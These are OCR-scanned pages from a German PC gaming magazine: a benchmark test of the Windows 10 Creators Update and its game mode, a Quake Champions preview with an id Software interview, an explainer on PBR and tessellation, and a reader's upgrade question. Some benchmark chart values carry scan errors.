Betriebssystem beschránkt und so 
bis zu 35 Prozent an Bandbreite 
im Vergleich zu kumulativen Up- 
dates eingespart werden kónnen. 
Ein áhnliches Prozedere kennt man 
von differentiellen Backups. 


Ein Nachtlicht gegen müde 
Augen 

Wer abends noch am hellen Display 
arbeiten muss oder einfach gerne 
am Tablet oder Smartphone zu spä- 
ter Stunde noch liest, beeinflusst 
damit negativ seinen Schlaf. Der 
Wach-Schlaf-Rythmus im Menschen 
wird durch das Hormon Melatonin 
reguliert, dessen Synthese bei Son- 
neneinstrahlung gehemmt und 
bei Lichtmangel gefördert wird. 
Bereits 2012 zeigten Forscher der 
New Yorker Energiebehörde, dass 
Displays mit LED-Hintergrundbe- 
leuchtung einen ähnlichen Effekt 
auf den Melatonin-Haushalt haben, 
wie ganz normales Tageslicht - 
wir bleiben wach. Mit Night Light 
implementiert Microsoft nun ein 
Feature, das ähnlich wie f.lux oder 
Apples Night Shift blaue Anteile 
im Licht entfernt. Dadurch wirkt 
der Monitor wärmer, Ermüdung 
der Augen und Effekte auf den 
Hormonhaushalt reduzieren sich 
dadurch auf ein Minimum. 


Bessere Leistung? 

Eine berechtigte Frage, ob sich 
das neue Update auch auf die Per- 
formance des Systems positiv aus- 
wirkt. Der von Microsoft umwor- 
bene neue Spielemodus verspricht 
nämlich genau das, eine Verbes- 
serung der Frameraten von zwei 
bis zu fünf Prozentpunkten. Doch 
zeigen sich Leistungssteigerungen 
auch in anderen Bereichen, wie Of- 
fice-Arbeiten? In unserem Testsys- 


tem kam eine Radeon RX470 und 
eine Nvidia GTX 970 zum Einsatz. 


Cinebench: Keine Verbesserung nach 
dem Update. Neben vielen neuen 
Features im Creator's Update sind 
natürlich auch Bugfixes und klei- 
ne unscheinbare Verbesserungen 
in die Aktualisierung eingeflossen. 
Der Test mit Cinebench zeigt, dass 
das System im Multi-Core-Betrieb 
keinerlei Verbesserung durch das 
Update erfuhr. Auch der vermeint- 
liche Zugewinn von bis zu drei 
Prozent mit der GTX 970 beim 
Single-Core Testergebnis ist nicht 
auf den Spielemodus oder das Up- 
date zurückzuführen, sondern be- 
findet sich in der erwarteten Mess- 
toleranz. 


Weitere Benchmarks: AS SSD, 3D 
Mark und PC Mark. Der Vollstän- 
digkeit halber wurden auch die 
Zugriffswerte für das Lesen und 
Schreiben auf einer SSD gemes- 
sen. Hier wurde keine Verbesse- 
rung oder Verschlechterung der 
Übertragungsraten registriert. 
Auch die Zugriffszeiten blieben 
identisch. Die gemessenen Werte 
in 3D Marks Timespy zeigten keine 
Veränderung, lediglich beim Nvi- 
dia Testsystem verlor die Gesamt- 
punktzahl des Benchmarks einen 
Prozentpunkt. PC Mark wies nach 
dem Update verbesserte Werte auf: 
Bewegte sich das Radeon-System 
zunächst bei 3994 Punkten, konnte 
die Aktualisiserung sieben Punkte 
hinzugewinnen. Mit verbauter GTX 
970 konnte ein größerer Zugewinn 
verbucht werden: Hier konnten 
knapp sieben Prozent mehr er- 
reicht werden. 


Der Spielemodus: Konstante Frame- 
raten bei Hintergrundprozessen. So 
manch ein Gamer wird bei dem 
neuen Spielemodus voller Vorfreu- 
de gejauchzt haben. Laut Microsoft 
sollen Spiele flüssiger laufen und 
die Frameraten stabiler werden. 
Spielrelevante Prozesse sollen 
durch den Modus priorisiert wer- 
den. In der Theorie sollen dem 
Spiel so mehr CPU-Threads und 
GPU-Zyklen zugewiesen werden, 
störende Programme müssen sich 
dann ganz hinten anstellen. 


Nach dem Update konnte keiner- 
lei Verbesserung oder Verände- 
rung durch den eingeschalteten 
Spielemodus registriert werden. 
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Vielleicht lag dies einfach daran, 
das keine Hintergundprozesse den 
Spielverlauf so stark beeinträchtigt 
haben, dass die Fokussierung auf 
die Spielprozesse ins Gewicht fal- 
len würde. Aus diesem Grund wur- 
de erneut getestet, dieses Mal mit 
etliche Hintergrundoperationen: 


I Mit OBS Studio wurde das Game- 
play aufgenommen. 

I Gleichzeitig lief eine Twitch-Live- 
Übetragung in HD. 

I Spotify (Programm) spielte eine 
Playlist ab. 

I Nebenbei lief ein Youtube Video. 


Damit sollte zumindest ein gewisse 
Hintergrundbelastung 
Aber selbst mit so einem Pensum 
an Spiel-unrelevanten Prozessen 
scheint Gigabytes Geforce GTX 970 
keinerlei Probleme zu bekommen, 
bzw. kann der Spielemodus keine 


eintreten. 


weitere Leistung aus der Hardware 
herauskitzeln. Ganz anders zeigt es 
sich dagegen bei der Gigabyte Ra- 
deon RX 470 die bis zu elf Prozent 
mehr Frames bekam. 


Wie ist dieser Umstand zu erklä- 
ren? Durch die zusätzlichen Hin- 
tergundprozesse wird verstärkt die 
CPU limitiert. AMD-Karten werden 
erfahrungsgemäß aufgrund des 
Radeon-Treibers so deutlich früher 
ausgebremst, als Nvidias Gegen- 
stück. Der Spielemodus verringert 
nun das durch die CPU entstande- 
ne Nadelöhr, da bestimmte Hin- 
tergrundprozesse keine Priorität 
mehr haben. Die GPU bildet nun 
nicht mehr den Flaschenhals, so- 
dass wieder Handlungsfreiraum 
für die Shader besteht. Bei Nvidia 
übernimmt nativ der Treiber dieses 
Multithreading, weshalb ein Zuge- 
winn nicht besonders auffällt. Be- 
stätigt wird diese Annahme durch 
das GPU-lastige Spiel The Vanishing 
of Ethan Carter, bei dem die RX470 
nur eine milde Performanzsteige- 
rung von zwei Prozent registriert. 
In The Witcher 3, das eine deutlich 
höhere CPU-Belastung hat, fällt 
der beschriebene Effekt deswegen 
auch deutlicher ins Gewicht: Satte 
elf Prozent Leistungssteigerung 
konnte durch den Spielemodus er- 
reicht werden. 


Als etwas problematisch für den 
Spielemodus könnten sich Spiele 
herausstellen, die nicht auf die „Uni- 
fied Windows Platform“ setzen. Bei 
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diesen Titeln kann Windows nicht 
unbedingt 
Hintergrundprozesse zum Spiel ge- 
hören und welche nicht. 


sicherstellen, welche 


Beam the Stream 

Mittlerweile sind Live-Übertragun- 
gen von Spielesessions im Gaming- 
Mainstream angekommen - spätes- 
tens seit Sony und Microsoft das 
Streamen von ihren Konsolen per 
Knopfdruck vereinfacht haben. 
Nach einiger Zeit kommen nun 
auch Windows-Nutzer in den Ge- 
nuss eines eingebauten Streaming- 
Dienstes. Musste man vorher mü- 
hevoll in OBS Konfigurationen und 
Bitraten einstellen, reicht heute der 
Druck von Win+G. Damit aktiviert 
man die Game Bar, die alle relevan- 
ten Gaming Features von Windows 
bündelt. 


In der Einfachheit liegt leider 
auch das größte Manko des neuen 
Dienstes. Lediglich die Streaming- 
Plattform Beam wird aktuell un- 
terstützt - kein Wunder, denn hier 
handelt es sich um den extra von 
Microsoft für die Xbox One einge- 
kauften Dienst. Ein weiterer Punkt, 
der sauer aufstößt, sind die Ein- 
stellungen für Übertragungsquali- 
tät oder Bitraten. Es gibt nämlich 
keine Möglichkeiten, da etwas zu 
verändern. Nur die Audioqualität 
kann variiert werden. Aber der 
Stream mit Beam hat auch Vorteile: 
Die Faster-Than-Light-Technologie. 
Hiermit soll man lagfrei mit sei- 
nen Zuschauern kommunizieren 
können, ein Feature, das manche 
Streamingbetreiber einfach nicht 
in den Griff bekommen. 


Last, but not least 

I Native Unterstützung für USB 2.0 
Audio und Dolby Atmos 

I Erstellen eigener Touchpad-Ges- 
ten nun móglich 

I Adresszeile im Registry-Editor (ab) 


Fazit Нагйшаге 


Windows 10 Creator's Update 

Das neueste Update làsst Windows 10 
langsam wie aus einem Guß wirken 
und der neue Spielemodus ist nicht nur 
ein Streaming-Gimmick, sondern eine 
echte Bereicherung für AMD-Karten 
und Low-End-Systeme. 3D- und VR-Un- 
terstützung runden das Paket ab. Nur 
der Datenschutz hat wie gewohnt Fe- 
dern lassen müssen — das geht besser. 


Cinebench R15 (64 Bit) Multi-Core 


Gigabyte RX 470 G1 Gaming (1.230/3.300 MHz) 

Nach Update mit Spielemodus u u ——x95,3 (+0 %) 
Nach Update [s 892,7 (+0 96) 
Vor Update EX 895,0 (Basis) 

Gigabyte GTX 970 G1 Gaming (1.380/3.506 MHz) 
Nach Update mit Spielemodus u əg]pqsgga 895,3 (+0 96) 
Nach Update 2 a a==92,7 (+0 %) 
Vor Update Eu 891,3 (Basis) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Него, 4 x 4 GiB AMD DDR3-1866 
(21); Windows 10 x64 (1607 nach Update 1703), Geforce 381.65, Radeon Software 17.4.1 
Bemerkungen: Schwankungen liegen in der Fehlertoleranz. 


CB-Punkte 
> Besser 


Cinebench R15 (64 Bit) Single-Core 


Gigabyte RX 470 G1 Gaming (1.230/3.300 MHz) 
Nach Update mit Spielemodus = = 181,7 (+0 96) 
Nach Update Eu 180,0 (-1 90) 
Vor Update [c 181,7 (Basis) 
Gigabyte GTX 970 G1 Gaming (1.380/3.506 MHz) 
Nach Update mit Spielemodus [m 181,7 (+3 96) 
Nach Update es 180,0 (+2 96) 
Vor Update | 177,0 (Basis) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-1866 
(21); Windows 10 x64 (1607 nach Update 1703), Geforce 381.65, Radeon Software 17.4.1 
Bemerkungen: Der kleine Zugewinn bei der GTX 970 liegt im Bereich der Fehlertoleranz. 


CB-Punkte 
> Besser 


Flaschenhals CPU-Limit: Boost bei Radeon 


Radeon RX 470 mit Witcher 3 in 1080p 


Hintergrundstress und Spielemodus [sss 63,6 (+1 96) 
Hintergrundstress | 57,1 (-9 96) 
Nach Update mit Spielemodus [| 62,5 (-1 96) 
Nach Update Es 02,7 (0 96) 
Vor Update [ut 63,0 (Basis) 
Geforce GTX 970 mit Witcher 3 in 1080p 


Hintergrundstress und Spielemodus s 63,0 (-8 90) 
Hintergrundstress E 63,2 (-8 96) 
Nach Update mit Spielemodus Em 68,8 (+0 %) 
Nach Update [m 68,7 (+0 9) 
Vor Update Em 068,6 (Basis) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-1866 
(2T); Windows 10 x64 (1607 nach Update 1703), Geforce 381.65, Radeon Software 17.4.1 
Bemerkungen: Nach dem Update liefen im Hintergund OBS, Twitch, Youtube und Spotify. 


Fps 
» Besser 


Spielemodus unbeeindruckt von der GPU-Last 


Radeon RX 470 mit Ethan Carter in 1080p 


Hintergrundstress und Spielemodus s 38,1 (+-7 90) 
Hintergrundstress Eu 37,4 (+-8 96) 
Nach Update mit Spielemodus g 40,8 (+0 96) 
Nach Update | 40,1 (4-2 96) 
Vor Update av (Basis) 
Geforce GTX 970 mit Ethan Carter in 1080p 


Hintergrundstress und Spielemodus = (-8 %) 
Hintergrundstress = ms  (-8 96) 
Nach Update mit Spielemodus Eu 52,6 (-2 96) 
Nach Update maa 5244 (2 96) 
Vor Update EU 53, (Basis) 


System: Core i7-4790K @ 4,0 GHz, Asus Maximus VII Hero, 4 x 4 GiB AMD DDR3-1866 
(21); Windows 10 x64 (1607 nach Update 1703), Geforce 381.65, Radeon Software 17.4.1 
Bemerkungen: Nach dem Update liefen im Hintergund OBS, Twitch, Youtube und Spotify. 


Fps 
» Besser 
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id Softwares neuestes Quake ist ein Free2Play-Shooter mit zwölf unterschiedlichen Helden. Kann das 


$раВ machen? Das fanden wir bei einem Besuch in Texas heraus. 


ichardson, Texas. Im Norden 
R Dallas belegt id Software 
zwei Etagen eines modernen Bü- 
rogebäudes. Wie viele Mitarbeiter 
hier arbeiten, ist ein gut gehütetes 
Geheimnis. So sehr, dass ihnen vor 
unserem Besuch eingeschärft wur- 
de, um den Bereich des Großraum- 
büros einen Bogen zu machen, 
in dem wir Quake Champions 
ausprobieren - das neueste Spiel 
aus dem Hause id Software, das 
für 2017 erwartet wird. 


Ein paar Dutzend Entwickler sehen 
wir dann aber doch, als in einer 
Studioküche mit Eistorten und al- 
lerlei Zuckerwerk den Geburtstags- 
kindern des Monats April gedacht 
wird. „Ich habe in meinen ersten 
zwei Monaten bei id knapp zehn 
Kilo zugenommen‘, gesteht John 
„ZeRo4“ Hill. Der ehemalige Pro- 
Gamer aus dem kalifornischen San 
Diego ist dafür verantwortlich, ids 
E-Sports-Abteilung aufzubauen. Ein 
durchaus ambitioniertes Unterfan- 
gen - aber nicht weniger ambitio- 
niert als Quake Champions selbst. 
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Ein kerniges Dutzend 

Quake Champions ist der jüngste 
Spross der legendären Action-Serie, 
die vor rund 21 Jahren das Licht der 
Welt erblickte. Anders als der Vor- 
gänger Quake 4 (2005) ist er ein 
lupenreiner Online-Titel, in dem 
sich die namensgebenden Champi- 
ons zu Teams zusammenschließen, 
um sich eins auf die Mappe zu ge- 
ben. Neun der zum Spielstart ver- 
fügbaren zwölf Charaktere hat id 
bereits enthüllt. Zu serienbekann- 
ten Kämpfern wie dem Ranger aus 
Quake 1 und dem Quartett Anarki, 
Slash, Sorlag und Visor aus Teil 3 ge- 
sellen sich vier Neuzugänge: unhei- 
liger Paladin Galena, Agentin Nyx, 
galaktischer Kriegsherr Scalebea- 
rer und Roboter Clutch. 


Im Free2Play-Titel ist nur der Ranger 
von Anfang an spielbar - alle ande- 
ren Champions müssen freigeschal- 
tet, gemietet oder gekauft werden. 
Das klappt auch en bloc zu Beginn 
des Spiels: „Dann könnt ihr mit al- 
len Champions ohne Einschränkun- 
gen loslegen, und das günstiger als 


bei einem normalen Vollpreistitel* 
erklärt uns id Softwares Studio Di- 
rector Tim Willits. 


Jeder der Champions bringt neben 
individuellen Werten für Gesund- 
heit, Rüstung und Geschwindigkeit 
aktive und passive Fertigkeiten mit. 
So verschießt der Ranger einen 
Dire Orb: einen Energieball, zu 
dem er sich vor dessen Explosion 
teleportieren kann. Reptiliendame 
Sorlag spuckt Säure auf ihre Geg- 
ner und auf Oberflàchen, wáhrend 
Blechkumpel Clutch einen schüt- 
zenden Energieschirm aktiviert. 
Komplexer ist das unheilige Totem 
der Paladin-Dame Galena: Es heilt 
Freunde, verwundet Gegner und 
lässt sich durch weitere Totems 
verstärken, Rollschuh-Queen Slash 
hinterlässt eine Plasmaspur, die 
nicht nur ihren Feinden schadet, 
sondern sich sogar zur Explosion 
bringen lässt. Zu den Passiva zäh- 
len Nyx‘ Wall Jump, Anarkis enge 
Hoverboard-Kurven in der Luft 
und Visors Strafe-Jump-Beschleu- 
nigung. Der Scalebearer walzt ganz 


profan Gegner zur Seite, wenn er 
schnell genug unterwegs ist. 


Waffen und fette Beute 
Waffentechnisch macht id Soft- 
ware keine Experimente: Die sechs 
klassischen Schießprügel, vom 
Maschinengewehr über die Schrot- 
flinte bis hin zum Raketenwerfer, 
sind auch dieses Mal wieder mit 
von der Partie. Mit Skins aus Loot- 
Behältern - Rucksäcken, Kisten, 
Reliquienschreinen - ändern Sie 
ihr Aussehen in klassische Waffen 
der Doom- und Quake-Serien. Je 
drei Rüstungs-Sets sorgen für einen 
individuellen Look, der sich mithil- 
fe von Farb-Shadern harmonisieren 
lässt. Doppelte und unerwünschte 
Goodies verwandeln sich in Scher- 
ben, aus denen im Nu neue Objek- 
te entstehen. Allen gemein: Auf das 
Spielgeschehen haben sie keinen 
Einfluss, sie sind rein kosmetischer 
Natur. 


Apropos  Spielgeschehen: Wir 


konnten in Texas die Modi Team 
Deathmatch und Free for All aus- 
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Interview Tim Willits, Studio Director, id Software 


PCGH: Wie fühlt es sich an, zu einer Serie zurück- 
zukehren, an der du mehrere Jahrzehnte selbst 
mitgewirkt hast? 


Tim Willits: Das ist schon etwas ganz Besonderes, 
schlieBlich war ich Designer der Shareware-Episo- 

den des ersten Teils, damit sind tolle Erinnerungen 
verbunden. Und so geht es auch vielen Spielern, für die 
Quake der allererste Multiplayer-Actiontitel überhaupt 
war — und die entsprechend begeistert sind, diese 
Erinnerungen wieder aufleben zu lassen. 


PCGH: Wie seid ihr auf die Idee mit den Cham- 
pions gekommen? War das eine Reaktion auf die 
bei jüngeren Spielern enorm populären Titel wie 
Overwatch, League of Legends und Konsorten, in 
denen es ebenfalls zahlreiche unterschiedliche 
Helden gibt? 


Tim Willits: Ich glaube, dass unterschiedliche Charak- 
tere wie Helden oder Champions eine ganz natürliche 
Evolution unseres Genres darstellen. Spieler wollen eine 
stärkere Beziehung zu den Figuren, die sie spielen. Sie 
erwarten einfach mehr Persönlichkeit und Spieltiefe. 
Mit Quake Champions ist uns meiner Meinung nach ein 
guter Balanceakt gelungen: Das Spiel ist noch immer 
schnell und intensiv — und man muss immer noch 
wissen, was man tut. 


Aber die Champions fügen dem Ganzen eine strate- 
gische Komponente hinzu, die die Leute heutzutage 


einfach erwarten. Und das Feedback unserer Betatester 
zeigt uns, dass wir die Balance zwischen diesen beiden 
Polen bis jetzt ganz gut hinbekommen haben. 


PCGH: Manche Old-School-Spieler beklagen 
jedoch, dass sie anders als in früheren Serientei- 
len nun keine Konsolen-Befehle mehr eingeben 
können, um das Spiel an ihre Bedürfnisse anzu- 
passen. Welche Philosophie steckt dahinter? 


Tim Willits: Quake Champions ist ein „Always on"-Ti- 
tel, der komplett serverbasiert läuft. Mit Konsolen-Be- 
fehlen kommt da eine Fülle von potenziellen Problemen 
ins Spiel. Unser Spiel läuft von Haus aus schon sehr 
schnell, deshalb glaube ich nicht, dass jemand wirklich 
die Option vermissen wird, etwa einen Flat Shader zu 
aktivieren. 


PCGH: Manche Quake-Fans maulen etwas, dass 
ihr den Free2Play-Weg eingeschlagen habt. 

Sie würden lieber einmal zahlen und dann alle 
Champions nach Belieben ausprobieren, statt 
diese erst extra freischalten zu müssen oder gar 
nur ausleihen zu können. 


Tim Willits: Deswegen fahren wir zweigleisig. Wie 

du richtig sagst, gibt es viele Spieler, die sofort mit 
allen Champions loslegen wollen. Für die wird es ein 
Champion-Paket geben, bei dem sie einmal zahlen und 
dann alle Charaktere besitzen — im Prinzip , kaufen" sie 
sich also das Spiel. Natürlich bekommen sie immer noch 


Loot-Boxen oder können 
sich welche holen, müssen 
das aber nicht. Wenn du je- 
mand bist, der nur fünf oder 
drei Champions spielen will, 
dann kaufst du dir eben nur 
die. Und wenn du Quake 
Champions erst einmal 
ausprobieren möchtest, 
dann ist Free2Play genau 
das Richtige. 


Tim Willits von id 
Software im Interview 


PCGH: Obwohl wir als PC-Spieler die Nutznießer 
sind: Titel wie Overwatch erscheinen auch für 
die aktuellen Spielkonsolen Playstation 4 und 
Xbox One. Warum beschränkt ihr euch bei Quake 
Champions nur auf den PC, wenn man mit mehr 
Systemen doch mehr Geld verdienen könnte? 


Tim Willits: Weil wir ein Spiel ohne Einschränkungen 
und ohne Entschuldigungen wollten — und es sollte 
wirklich sehr, sehr schnell sein. Das lässt sich nicht 
ohne Kompromisse für eine andere Plattform umsetzen. 
Ein Rocket Jump mit dem Gamepad? Kein leichtes 
Unterfangen (Willits grinst). Und die Spielgeschwin- 
digkeit? Für Konsolenspieler vermutlich mehr als nur 
ein bisschen einschüchternd. Daher liegt unser Fokus 
auf PCs, von denen weltweit viele Millionen im Einsatz 
sind. Und auf dieser Plattform spielen auch die besten 
Quake-Spieler der Welt. 


probieren - auf den Maps Burial 
Chamber, Blood Covenant und 
Ruins of Sarnath. Sofort kommt 
wieder das gute alte Quake-Feeling 
auf: Es geht schnell, aber niemals 
unfair zur Sache. Das Wissen, wel- 
che Waffen und Ausrüstungsgegen- 
stände wo erscheinen, ist noch im- 
mer spielentscheidend, ebenso wie 
das Einsammeln des Quad-Damage- 
Symbols zur rechten Zeit. Außer- 
dem im Angebot: der Duel-Modus, 
in dem zwei Spieler drei Champi- 
ons nacheinander antreten lassen. 
Wer als Erster drei Mal stirbt, hat 
verloren. In Zusammenarbeit mit 
Profi-Gamern entstand der Sacrifi- 
ce: Hier müssen zwei Teams einen 
Totenkopf in der Mitte einer Map 
schnappen, ihn zurück zur Basis 
bringen und diese vor gegneri- 
schen Angriffen beschützen. Kom- 
munikation ist Pflicht, um bei die- 
ser CTF-Variante zu punkten. 


Mieten oder kaufen? 

Neben der optischen Verschöne- 
rung der Champions sollen Rang- 
listen und tägliche Herausforde- 
rungen wie „Töte einen Gegner 
per Kopfschuss“ „Erziele 
drei Mal zwei Treffer in Folge mit 


oder 
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der Railgun* für Langzeitmotiva- 
tion sorgen. Für letztere gibt's die 
Spielwährung Favors, mit der Loot- 
Behálter gekauft und Champions 
angemietet werden. Die Währung 
Platinum ist an richtiges Geld ge- 
koppelt und ermóglicht den Kauf 
von Helden und kosmetischen 
Verbesserungen. Ein noch nicht 
beschriebener Lore-Auf- 
stiegsmodus soll mit Hilfe von klas- 
sisch freispielbaren Runen Nicht- 
Wettkämpfer bei der Stange halten. 
Das Ziel der Entwickler: Auch, wer 
nicht gewinnt, soll Spaß haben und 


weiter 


nachher von glorreichen Spielsitu- 
ationen erzählen. 


Auf unserem id-Testrechner mit In- 
tel Xeon E5-1650 v3 (3.5 GHz), 64 
GByte RAM, Nvidia GTX 980 und 
Samsung-SSD (850 Evo 500 GByte) 
schnurrte die Grafik-Engine von 
Quake Champions nur so. Dabei 
handelt es sich um eine Mischung 
aus id Tech und der Saber-Engine, 
denn die Texaner entwickeln das 
Spiel in Koproduktion mit Saber 
Interactive im russischen Sankt 
Petersburg. In Shooter-Kreisen 
kein unbeschriebenes Blatt: Saber 
arbeitete schon an diversen Halo- 


Teilen mit und zeichnete für den 
Zeitreise-Shooter Timeshift verant- 
wortlich. „Außerdem konnten wir 
einige ehemalige Crytek-Program- 
mierer für unser Studio in Frank- 
furt gewinnen‘, grinst Tim Willits. 


Fazit: Wieder zu Hause 

Quake Champions fängt das Fee- 
ling des dritten Teils exzellent ein. 
Es spielt sich schnell, aber nicht zu 
schnell - rein subjektiv kam uns 
beispielsweise Titanfall 2 noch 
eine Spur fixer vor. Und wer die 


d "SE l e 


Quake Champions: Der Roboter Clutch ist eigentlich für den Bergbau konzipiert, doch 


Maps und einen optimalen Weg 
entlang der Respawns von Waffen 
und Co. kennt, hat es leichter als je- 
mand, der nur blind drauflos rennt. 
Die neun Champions sind überra- 
schend gut ausbalanciert: Keiner 
wirkt zu stark oder zu schwach, 
alle richten sich mit ihren Fertig- 
keiten ganz an den Geschmack des 
einzelnen Spielers. Wir verordnen 
allen Designern ab sofort Urlaubs- 
sperre, damit sie Quake Champi- 
ons so schnell wie möglich fertig- 
stellen! (ra) 


in den Arenen des Multiplayer-Shooter Quake Champions wird er zur Killermaschine. 
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Bild: Bethesda 


SPIELE & SOFTWARE | Grafikeffekte erklárt Teil 3 


Im neuen Gewand 


In diesem Teil unserer neuen Reihe „Grafikeffekte erklärt" gehen wir auf die moderne 


Texturdarstellung sowie Methoden zur plastischen Oberflächenveredelung ein. 


en Begriff „Textur“ müssen 

wir unseren Lesern wohl 
nicht erklären. Die zweidimen- 
sionalen Tapeten begleiten die 
meisten Spieler seit Beginn ihrer 
Laufbahn. Doch die Einsatzgebiete 
sowie die Art und Weise, wie das 
Texturmodell mit der Beleuchtung 
in Spielen interagiert, haben sich 
stark gewandelt - Stichwort Physi- 
cally Based Rendering. 


Ichkeitstreu 
Kling logisch, ist aber so: Je näher 
ein Renderverfahren an die Rea- 
lität angenähert wird, desto über- 
zeugender wirkt die Spielegrafik 
auf das menschliche Auge. Um den 
Launch der aktuellen Konsolenge- 
neration begannen die Entwickler, 


ihre Engines auf physikbasierte 
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Rendertechnologien umzustellen. 
Dabei hat Physically Based Rende- 
ring (PBR) keine fest vorgeschrie- 
benen Regeln, sondern ist eher ein 
loses Konzept. Jeder Entwickler 
und jede Engine kann ein solches 
Konzept anders umsetzen. Schau- 
en wir uns zwei fiktive Spiele mit 
PBR an, unterscheiden sich diese 
mit einiger Wahrscheinlichkeit 
optisch trotz des Wirklichkeits- 
bezugs der Rendertechnologien. 
Prinzipiell funktioniert das Shader- 
modell der Texturen (Physically 
Based Shading, PBS) aber ähnlich: 
Gegenüber konventionellen Tex- 
turmodellen, bei denen ein vom 
Texture-Artist erstelltes Bild oder 
Foto einer Oberfläche samt einem 
Großteil statischer Beleuchtungs- 
und  Verschattungsinformationen 
über ein Polygonnetz gelegt wird, 


bekommen PBS-Texturen physika- 
lische Attribute zugewiesen. Die 
drei Haupteigenschaften sind Albe- 
do (Grundfärbung), Microsurface 
(Oberflächenbeschaffenheit) und 
Reflectivity (Reflexionsverhalten). 
Diese Eigenschaften formen ein 
PBR-Material, das sich je nach vir- 
tuellem Lichteinfall anders verhält 
und diesem anpasst. Dabei gilt 
teilweise der physikalische Ener- 
gieerhaltungssatz. Eine spiegelnde 
Oberfläche etwa kann nicht heller 
strahlen als die eigentliche Licht- 
quelle - wobei dies nur für Mate- 
rialien gilt, Post-Processing-Effekte 
wie Bloom oder Screen-Space-Re- 
flections können dies torpedieren. 


inzig un h so w g 
Die Rolle der Microsurfaces ist 


dabei eine sehr wichtige. So be- 


stimmen sie, wie stark eintreffen- 
des Licht gestreut wird. Eine raue 
Oberfläche streut das Licht stärker, 
das Material wirkt stumpfer, so als 
wäre die Oberfläche glatt. Diesen 
Effekt können Sie auf der nächs- 
ten Seite gut anhand des Matsches 
von Battlefield 1 erkennen. Dieser 
besteht aus eine Vielzahl dieser Mi- 
crosurfaces, welche dem Schlamm 
unterschiedliche Reflexionseigen- 
schaften verleihen, obwohl prin- 
zipiell sehr ähnliche Materialien 
zum Einsatz kommen. Dies steigert 
die Dynamik der Oberfläche, sie ist 
kaum noch als eine Textur iden- 
tifizierbar. Im weiteren Sinne der 
Microsurfaces nutzt Battlefield 1 
zudem Displacement-Mapping und 
Tessellation, um den Oberflächen 
zusätzliche Tiefe zu verleihen; aus 
(pr) 


Textur wird Geometrie. 
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Konventionelles Texturmodell versus physikbasiertes Modell (PBR) 


(1) Das konventionell texturierte Waffenmodell in Battlefield 4 überzeugt in dieser Be- 
leuchtungssituation nicht wirklich, sondern wirkt in dieser Szene wie ein Fremdkörper. 
(2) Die Materialien des Battlefield-1-MGs hingegen greifen das eintreffende virtuelle 
Licht auf und streuen sowie reflektieren die Strahlen je nach Oberflächenbeschaffen- 
heit: Das Metall des Zielfernrohrs (3) ist augenkundig ein anderes als jenes, aus dem 
das Magazin gefertigt wurde. Im direkten Vergleich sind auch die Reflexionseigen- 
schaften der Bodentexturen sehr auffällig. Mit PBR wird verstärkt auf Microsurfaces 
gesetzt, eine große Fläche wird also aus vielen kleinen zusammengesetzt, deren 


Materialeigenschaften sehr unterschiedlich ausfallen können. Dies lässt sich gut 
anhand des Battlefield-1-Matsches erkennen: Achten Sie einmal auf den eher stumpf 
glänzenden Schlamm in den Abdrücken der Panzerketten (4) und vergleichen Sie ihn 
mit den hell glänzenden Fußabdrücken (5). Darüber hinaus ist der Fresnel-Effekt eines 
physikbasierten Renderers zu erkennen: Je flacher der Blickwinkel auf eine Oberfläche 
fällt, desto stärker reflektiert sie. Battlefield 1 erzeugt zudem zusätzliche Details via 
Displacement-Maps und Tessellation — tatsächliche Geometrie also (6). Battlefield 4 
nutzt hingegen nur Normal-Mapping, um bei Texturen eine Tiefe zu suggerieren (7). 


" 


Neben einem physikbasierten Renderer, der die Reflexionseigenschaften realitátsnah simuliert, nutzt Battlefield 1 zudem Tessellation, um Oberfláchen zu veredeln. 
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SPIELE & SOFTWARE | Grafikeffekte erklárt Teil 3 


Oberflàchenveredelung via Tessellation und Parallax-Occlusion-Maps 


Der steigende Detailgrad moderner Spiele erfordert schon seit geraumer Zeit mehr wird die Textur mehrfach übereinander gelegt, dann werden die Texturkoordinaten der 
als bloB flache Texturen. Seit Jahren ist daher zuerst Bump-, dann Normal-Mapping einzelnen Pixeltapeten in Abhängigkeit des Blickwinkels verschoben, was zu einem 
Bestandteil vieler Pixeltapeten. Diese Maps enthalten Höheninformationen in Form dreidimensionalen Effekt führt. Dabei entsteht jedoch auch eine Art „Treppchenbil- 
einer zusätzlichen Schwarzweiß- (Bump-Map) oder farbigen Dreikanal-RGB-Textur dung" (3). Zudem wird beim Bewegen des Blickwinkels ein „Wabern“ sichtbar, wenn 
(Normal-Map). Letztere wird zumeist aus einem zugrundeliegenden, sehr hochauf- die Texturen verschoben werden. Zudem gibt es Unstimmigkeiten bei der Perspektive: 
lösenden Polygonmodell generiert und auch dazu genutzt, bei 3D-Modellen einen Achten Sie einmal auf den Balken am Fenster, es wirkt als schwebe dieser (4). Die 
höheren Polygoncount zu suggerieren. Das nochmals aufwendigere Parallax-Mapping „Köngisklasse“ dieser Techniken ist das Displacement-Mapping, welches eine Height- 
wirkt sehr plastisch (1), ist jedoch noch immer eine 2D-Textur (2). Bei dieser Technik Map nutzt und mittels dieser (häufig via Tessellation) echte Geometrie erzeugt (5). 


Im Gegensatz zu Tessellation (Bildausschnitt), ist die Dreidimensionalität einer Parallax-Map (Mauer) eine Illusion. Sie funktioniert nur in bestimmten Blickwinkeln. 


= ; 
7 


Hier kónnen Sie die Funktionsweise einer Parallax-Map erkennen. Ein flacher Blickwinkel zur Parallax-Map offenbart, dass diese zweidimensional ist. 
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Sandy Bridge durch Ryzen 5 ersetzen? 
Derzeit nutze ich folgende Hardware: 

1 Asrock P67 Extreme4 

I Intel Core 17-2600 

I Corsair Vengeance 2 х 4 GiByte 

I KFA? Geforce GTX 1080 EXOC 

I Dell 03014 


Ich habe bereits RAM auf Vorrat gekauft (G.Skill 
Ripjaws, 2 x 8 GiByte, DDR4-3000, 14-14-14-34) 
und benötige nun noch ein neues Mainboard 
und eine neue CPU - aber welche? 

Ich nutze meinen PC zu 60 Prozent für Spiele 
und zu 40 Prozent für Bildbearbeitung. Intels 
Z270 ist anscheinend als Sackgasse produziert 
worden, da es nur maximal den Core i7-7700K 
und anscheinend keine weitere Planung für den 
Sockel 1151 gibt. Den Nachfolger Sockel 2066 
wird es wahrscheinlich erst Anfang 2018 geben. 

Der AMD AMá Sockel ist ganz neu und daher 
auch für spátere Aufrüstungen wahrscheinlich 
am sinnvollsten. Was würden Sie mir empfehlen? 

